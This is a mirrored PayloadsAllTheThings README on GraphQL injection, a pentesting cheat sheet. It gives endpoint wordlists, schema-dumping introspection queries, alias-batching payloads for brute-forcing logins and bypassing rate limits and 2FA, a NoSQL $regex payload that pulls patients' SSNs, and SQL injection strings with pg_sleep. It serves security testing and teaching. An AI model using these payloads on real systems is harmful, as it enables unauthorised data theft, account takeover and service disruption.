index.md (23218B)
1 --- 2 title: "GraphQL Injection" 3 topic: "GraphQL Injection" 4 topicSlug: "graphql-injection" 5 sourcePath: "GraphQL Injection/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/GraphQL%20Injection/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # GraphQL Injection 12 13 > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type 14 15 ## Summary 16 17 - [Tools](#tools) 18 - [Enumeration](#enumeration) 19 - [Common GraphQL Endpoints](#common-graphql-endpoints) 20 - [Identify An Injection Point](#identify-an-injection-point) 21 - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection) 22 - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions) 23 - [Enumerate Types Definition](#enumerate-types-definition) 24 - [Enumerating Paths to a Target Type](#enumerating-paths-to-a-target-type) 25 - [Methodology](#methodology) 26 - [Queries](#queries) 27 - [Basic Query](#basic-query) 28 - [Query with Arguments](#query-with-arguments) 29 - [Nested Queries](#nested-queries) 30 - [Mutations](#mutations) 31 - [GraphQL Batching Attacks](#graphql-batching-attacks) 32 - [JSON List Based Batching](#json-list-based-batching) 33 - [Query Name Based Batching](#query-name-based-batching) 34 - [Injections](#injections) 35 - [NOSQL Injection](#nosql-injection) 36 - [SQL Injection](#sql-injection) 37 - [Labs](#labs) 38 - [References](#references) 39 40 ## Tools 41 42 - [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes 43 - [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material 44 - [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing 45 - [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries 46 - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema 47 - [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's 48 - [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection 49 - [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility 50 - [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations 51 - [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs 52 - [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility 53 - [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph 54 - [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client 55 56 ## Enumeration 57 58 ### Common GraphQL Endpoints 59 60 GraphQL endpoints are often exposed at predictable paths, most commonly: 61 62 - `/graphql` 63 - `/graphiql` (interactive IDE) 64 65 You should always probe for both API and developer/debug interfaces. 66 67 ```ps1 68 /v1/explorer 69 /v1/graphiql 70 /graph 71 /graphql 72 /graphql/console/ 73 /graphql.php 74 /graphiql 75 /graphiql.php 76 ``` 77 78 For an extended wordlist, see [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt). 79 80 ### Identify An Injection Point 81 82 > A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - [GraphQL Over HTTP](https://graphql.github.io/graphql-over-http/draft/#sec-Request) 83 84 - GET endpoint 85 86 ```js 87 GET /graphql?query={yourQueryHere} 88 GET /graphql?query={__schema{types{name}}} 89 GET /graphiql?query={__schema{types{name}}} 90 GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D 91 ``` 92 93 - POST endpoint 94 95 ```js 96 POST /graphql/v1 HTTP/1.1 97 Host: example.com 98 Content-Type: application/json 99 100 { 101 "query": "query { user { id name } }" 102 } 103 ``` 104 105 Check if errors are visible. 106 107 ```javascript 108 ?query={__schema} 109 ?query={} 110 ?query={thisdefinitelydoesnotexist} 111 ``` 112 113 ### Enumerate Database Schema via Introspection 114 115 The GraphQL specification includes special fields, such as `__schema` and `__type`, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together. 116 117 An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not. 118 119 A minimal example looks like this: 120 121 ```js 122 { 123 "query": "{ __schema { types { name } } }" 124 } 125 ``` 126 127 URL encoded query to dump the database schema. 128 129 ```js 130 fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}} 131 ``` 132 133 URL decoded query to dump the database schema. 134 135 ```rs 136 fragment FullType on __Type { 137 kind 138 name 139 description 140 fields(includeDeprecated: true) { 141 name 142 description 143 args { 144 ...InputValue 145 } 146 type { 147 ...TypeRef 148 } 149 isDeprecated 150 deprecationReason 151 } 152 inputFields { 153 ...InputValue 154 } 155 interfaces { 156 ...TypeRef 157 } 158 enumValues(includeDeprecated: true) { 159 name 160 description 161 isDeprecated 162 deprecationReason 163 } 164 possibleTypes { 165 ...TypeRef 166 } 167 } 168 fragment InputValue on __InputValue { 169 name 170 description 171 type { 172 ...TypeRef 173 } 174 defaultValue 175 } 176 fragment TypeRef on __Type { 177 kind 178 name 179 ofType { 180 kind 181 name 182 ofType { 183 kind 184 name 185 ofType { 186 kind 187 name 188 ofType { 189 kind 190 name 191 ofType { 192 kind 193 name 194 ofType { 195 kind 196 name 197 ofType { 198 kind 199 name 200 } 201 } 202 } 203 } 204 } 205 } 206 } 207 } 208 209 query IntrospectionQuery { 210 __schema { 211 queryType { 212 name 213 } 214 mutationType { 215 name 216 } 217 types { 218 ...FullType 219 } 220 directives { 221 name 222 description 223 locations 224 args { 225 ...InputValue 226 } 227 } 228 } 229 } 230 ``` 231 232 Single line queries to dump the database schema without fragments. 233 234 ```rs 235 __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} 236 ``` 237 238 ```rs 239 {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} 240 ``` 241 242 ### Enumerate Database Schema via Suggestions 243 244 When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema. 245 246 ```json 247 { 248 "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?", 249 } 250 ``` 251 252 You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible. 253 254 ### Enumerate Types Definition 255 256 Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type 257 258 ```javascript 259 {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}} 260 ``` 261 262 ### Enumerating Paths to a Target Type 263 264 When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like `User`, `Admin`, or `Payment`) may be reachable through multiple entry points and nested relationships. 265 266 - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Tool that lists the different ways of reaching a given type in a GraphQL schema. 267 268 This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed. 269 270 ```php 271 graphql-path-enum -i ./test_data/h1_introspection.json -t Skill 272 Found 27 ways to reach the "Skill" node from the "Query" node: 273 - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 274 - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 275 - Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 276 - Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 277 - Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 278 - Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 279 - Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 280 - Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 281 - Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 282 - Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 283 - Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 284 - Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 285 - Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 286 - Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill 287 - Query (query) -> Query (skills) -> Skill 288 ``` 289 290 ## Methodology 291 292 GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**. 293 294 ### Queries 295 296 GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like `user`, `posts`, or `teams`) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested. 297 298 #### Basic Query 299 300 The simplest query uses the shorthand syntax, where the `query` keyword is omitted. You just define the fields you want starting from the root object. 301 302 ```js 303 { 304 user { 305 id 306 name 307 } 308 } 309 ``` 310 311 This tells the server to return the `id` and `name` fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic. 312 313 ```js 314 query { 315 user { 316 id 317 name 318 } 319 } 320 ``` 321 322  323 324 #### Query with Arguments 325 326 To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries. 327 328 ```js 329 { 330 user(id: "1") { 331 name 332 email 333 } 334 } 335 ``` 336 337 This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities. 338 339 #### Nested Queries 340 341 GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly. 342 343 ```js 344 { 345 user(id: "1") { 346 name 347 posts { 348 title 349 comments { 350 content 351 } 352 } 353 } 354 } 355 ``` 356 357 ### Mutations 358 359 A mutation is an operation used to change data on the server (create, update, or delete something). 360 Mutations work like function, you can use them to interact with the GraphQL endpoint. 361 362 ```javascript 363 mutation{ 364 signIn(login:"Admin", password:"secretp@ssw0rd"){ 365 token 366 } 367 } 368 369 mutation{ 370 addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") { 371 id 372 name 373 email 374 } 375 } 376 ``` 377 378 **Warning**: Mutations usually won't work with GET. [graphql/graphql-over-http, issue #123](https://github.com/graphql/graphql-over-http/issues/123) 379 380 ### GraphQL Batching Attacks 381 382 Common scenario: 383 384 - Password Brute-force Amplification Scenario 385 - Rate Limit bypass 386 - 2FA bypassing 387 388 #### JSON List Based Batching 389 390 > Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application. 391 392 Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch. 393 394 ```json 395 [ 396 { 397 "query":"..." 398 },{ 399 "query":"..." 400 } 401 ,{ 402 "query":"..." 403 } 404 ,{ 405 "query":"..." 406 } 407 ... 408 ] 409 ``` 410 411 #### Query Name Based Batching 412 413 ```json 414 { 415 "query": "query { qname: Query { field1 } qname1: Query { field1 } }" 416 } 417 ``` 418 419 Send the same mutation several times using aliases 420 421 ```js 422 mutation { 423 login(pass: 1111, username: "bob") 424 second: login(pass: 2222, username: "bob") 425 third: login(pass: 3333, username: "bob") 426 fourth: login(pass: 4444, username: "bob") 427 } 428 ``` 429 430 ## Injections 431 432 > SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database. 433 434 ### NOSQL Injection 435 436 Use `$regex` inside a `search` parameter. 437 438 ```js 439 { 440 doctors( 441 options: "{\"limit\": 1, \"patients.ssn\" :1}", 442 search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }") 443 { 444 firstName lastName id patients{ssn} 445 } 446 } 447 ``` 448 449 ### SQL Injection 450 451 Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection 452 453 ```js 454 { 455 bacon(id: "1'") { 456 id, 457 type, 458 price 459 } 460 } 461 ``` 462 463 Simple SQL injection inside a GraphQL field. 464 465 ```powershell 466 query { 467 user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") { 468 id 469 email 470 } 471 } 472 ``` 473 474 ## Labs 475 476 - [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts) 477 - [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure) 478 - [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint) 479 - [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass) 480 - [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api) 481 - [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection) 482 - [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection) 483 - [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection) 484 - [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation) 485 486 ## References 487 488 - [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://web.archive.org/web/20230919211552/https://escape.tech/blog/graphql-security-wordlist/) 489 - [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://web.archive.org/web/20210830161635/https://blog.assetnote.io/2021/08/29/exploiting-graphql/) 490 - [GraphQL Batching Attack - Wallarm - December 13, 2019](https://web.archive.org/web/20260223043402/https://lab.wallarm.com/graphql-batching-attack/) 491 - [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://web.archive.org/web/20230205233412/https://acceis.github.io/prez-graphql/) 492 - [API Hacking GraphQL - @ghostlulz - June 8, 2019](https://web.archive.org/web/20190619040847/https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2) 493 - [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - September 23, 2018](https://web.archive.org/web/20180923085151/https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e) 494 - [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://web.archive.org/web/20231027032512/https://labs.detectify.com/2018/03/14/graphql-abuse/) 495 - [Graphql Bug to Steal Anyone's Address - Pratik Yadav - September 1, 2019](https://web.archive.org/web/20250514221822/https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) 496 - [GraphQL cheatsheet - devhints.io - November 7, 2018](https://web.archive.org/web/20181107093033/https://devhints.io/graphql) 497 - [GraphQL Introspection - GraphQL - August 21, 2024](https://web.archive.org/web/20260302160506/https://graphql.org/learn/introspection/) 498 - [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](https://web.archive.org/web/20250514221852/https://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) 499 - [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://web.archive.org/web/20190825033521/https://swisskyrepo.github.io/HIP19-MeetYourDoctor/) 500 - [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - November 5, 2018](https://web.archive.org/web/20190718023950/https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/) 501 - [Introduction to GraphQL - GraphQL - November 1, 2024](https://web.archive.org/web/20160917011216/http://graphql.org:80/learn) 502 - [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://web.archive.org/web/20250710175416/https://hackerone.com/reports/291531) 503 - [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - June 8, 2017](https://web.archive.org/web/20170608142208/https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/) 504 - [Securing Your GraphQL API from Malicious Queries - Max Stoiber - February 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b) 505 - [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - November 6, 2018](https://web.archive.org/web/20181203004543/https://hackerone.com/reports/435066)